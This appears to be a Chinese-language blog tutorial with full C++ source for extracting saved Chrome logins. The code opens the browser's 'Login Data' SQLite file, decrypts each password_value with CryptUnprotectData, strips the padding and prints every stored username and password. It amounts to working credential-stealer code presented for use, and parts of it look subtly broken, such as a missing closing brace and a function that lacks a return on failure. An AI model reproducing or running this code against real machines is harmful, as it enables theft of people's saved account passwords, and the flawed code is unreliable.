Chrome登录信息获取

实现步骤

  1. 导入SQLite依赖库
  2. 找到ChromeLoginData文件
  3. 编码实现
  4. 集成测试

导入SQLite数据库

​ 在官网下载所需依赖文件并导入VS2019中,具体操作步骤同我之前的SQLite数据库链接所述。

找到ChromeLoginData文件

Chrome将用户的登录信息存储在C:\Users\[Username]\AppData\Local\Google\Chrome\User Data\Default目录下的Login Data文件中,以文本方式打开可以看到其头部有SQLite format 3标记,说明其是Sqlite3的文件。使用SQLiteStudio打开

LoginData

可以看到其内部存储的信息。其中password_value存储密码信息,不过是以加密方式存储的,无法直接查看:

password_value

​ 其中一个密码加密后的值如下图所示:

password_value_text

编程实现

​ 编程内容大致分为如下几个模块:

  1. 数据库操作模块
  2. 解密模块
  3. 格式转换模块

数据库操作模块

​ 文件名:DBOption.h

​ 内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <sqlite3.h>
#include <iostream>
#include <stack>
#include "FormatChange.h"
#include "Decrypt.h"
#pragma comment(lib,"sqlite3.lib")
#pragma once

using namespace std;

struct UserInfo {
const unsigned char* username;
string password;
};

UserInfo temp;
static stack<UserInfo> UserStack;

bool ConnectState = false;
static sqlite3* db = NULL;
static sqlite3_stmt* stmt = NULL;

void Connect2DB(char* name) {
ConnectState = sqlite3_open(name, &db);
}

void Select4DB(char* command) {
sqlite3_prepare(db, command, -1, &stmt, NULL);

for (; sqlite3_step(stmt) == SQLITE_ROW;) {
temp.username = (BYTE*)U2G((char*)sqlite3_column_text(stmt, 0));
temp.password = _getPwd((BYTE*)sqlite3_column_text(stmt, 1), sqlite3_column_bytes(stmt, 1) + 1);
UserStack.push(temp);
}
cout << "Select successful" << endl;

void Select4DB(char* command, char* name) {
if (ConnectState) {
Select4DB(command);
}
else {
Connect2DB(name);
Select4DB(command);
}
}

​ 结构UserInfo定义用于存储用户信息的数据结构,UserStack为存储用户信息的全局静态堆栈。

​ 函数中name为带路径的数据库文件名,在访问Chrome的Login Data时需为其加上后缀名.db否则无法操作,Connect2DB调用sqlite3_open函数打开数据库,Select4DB有两个重载用于在对数据库执行相应的查询操作,并读取和存储查询结果。

解密模块

​ 文件名:Decrypt.h

​ 内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <Windows.h>
#include <iostream>
#pragma comment(lib,"crypt32.lib")
#pragma once

using namespace std;

BYTE* Decrypt(BYTE* enPassword, int len) {
DATA_BLOB temp, out;
temp.pbData = enPassword;
temp.cbData = len;
if (CryptUnprotectData(&temp, NULL, NULL, NULL, NULL, 0, &out)) {

return out.pbData;
}
else {
cout << "Decrypt failed" << endl;
return NULL;
}
}

string getPwd(BYTE* enPassword, int len) {
string DecryptPassword;
BYTE* temp = Decrypt(enPassword, len);
if (temp != NULL) {
DecryptPassword = (char*)temp;
string::size_type n0 = DecryptPassword.find('\x1', 0);
string::size_type n1 = min(n0, DecryptPassword.find('\x2', 0));
string::size_type n2 = min(n1, DecryptPassword.find('\x3', 0));
string::size_type n3 = min(n2, DecryptPassword.find('\x4', 0));
string::size_type n4 = min(n3, DecryptPassword.find('\x5', 0));
string::size_type n5 = min(n4, DecryptPassword.find('\x6', 0));
string::size_type n6 = min(n5, DecryptPassword.find('\x7', 0));
string::size_type n7 = min(n6, DecryptPassword.find('\x8', 0));
string::size_type n8 = min(n7, DecryptPassword.find('\x9', 0));
string::size_type n9 = min(n8, DecryptPassword.find('\a', 0));
string::size_type n = min(n9, DecryptPassword.find('\b', 0));
return DecryptPassword.substr(0, n);
}
else {
return "get failed";
}

}

string _getPwd(BYTE* enPassword, int len) {
string DecryptPassword;
BYTE* temp = Decrypt(enPassword, len);
if (temp != NULL) {
DecryptPassword = (char*)temp;
int length = DecryptPassword.size();
int flag = 0;

for (int i = 0; i < length; i++) {
if (DecryptPassword[i] > 31 && DecryptPassword[i] < 127) {
continue;
}
else {
flag = i;
break;
}

}
return DecryptPassword.substr(0, flag);
}
}

​ 其中Decrypt为解密函数,其操作方式如数据加解密所述,但是由于Chrome在加密时采用分组加密,每个密码单独分组,且分组长度相同(分组长度大于最大密码长度),空余部分用不影响读取的符号填充,所以直接解密后输出会出现乱码:

WrongFormatPassword

​ 该部分的密码为LJIJCJ,函数getPwd_getPwd用于去除密码中填充的字符,其中getPwd基于单步调试时发现的填充内容均在函数内所示的字符内,故只需找出对应字符的位置,截取出最短的字符串即可得到正确的密码,结果如图所示:

RightPassword

​ 但此方法的兼容性不是很好,其他软件的填充字符可能会不同。

_getPwd则是考虑到用户输入的密码都是可见字符(ASCII码位于31和127之间),那么为了不与用户的真正密码冲突,紧邻用户密码尾部的填充字符必定为不可见字符,故可由此得出真正的密码。

格式转换

​ 文件名:FormatChange.h

​ 内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <iostream>
#include <Windows.h>
#pragma once

using namespace std;

char* U2G(const char* utf8)
{
int len = MultiByteToWideChar(CP_UTF8, 0, utf8, -1, NULL, 0);
wchar_t* wstr = new wchar_t[len + 1];
memset(wstr, 0, len + 1);
MultiByteToWideChar(CP_UTF8, 0, utf8, -1, wstr, len);
len = WideCharToMultiByte(CP_ACP, 0, wstr, -1, NULL, 0, NULL, NULL);
char* str = new char[len + 1];
memset(str, 0, len + 1);
WideCharToMultiByte(CP_ACP, 0, wstr, -1, str, len, NULL, NULL);
if (wstr) delete[] wstr;
return str;
}

​ 如果用户名中有中文字符,直接输出会产生乱码,需要进行转码之后输出,同理如果密码中有中文字符,解密之后也需要进行格式转换后才能正确显示。

集成测试

​ 文件名:test.h

​ 内容:

1
2
3
4
#include "DBOption.h"
#pragma once

using namespace std;

​ 文件名:test.cpp

​ 内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include "test.h"


int main(int argc, char* argv[])
{
Select4DB((char*)"select username_value,password_value from logins", (char*)"C:\\Users\\[Username]\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.db");
for (; !UserStack.empty();) {
cout << "================================================================" << endl;
cout << "Username:" << UserStack.top().username << "\tPassword:" << UserStack.top().password << endl;
UserStack.pop();
}

return 0;
}
0%